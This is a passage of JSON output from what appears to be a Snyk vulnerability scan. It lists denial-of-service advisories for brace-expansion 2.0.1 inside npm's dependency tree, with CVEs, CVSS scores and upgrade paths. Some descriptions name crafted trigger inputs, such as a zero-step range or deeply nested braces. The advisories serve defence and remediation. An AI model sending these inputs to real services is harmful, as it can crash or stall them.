"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
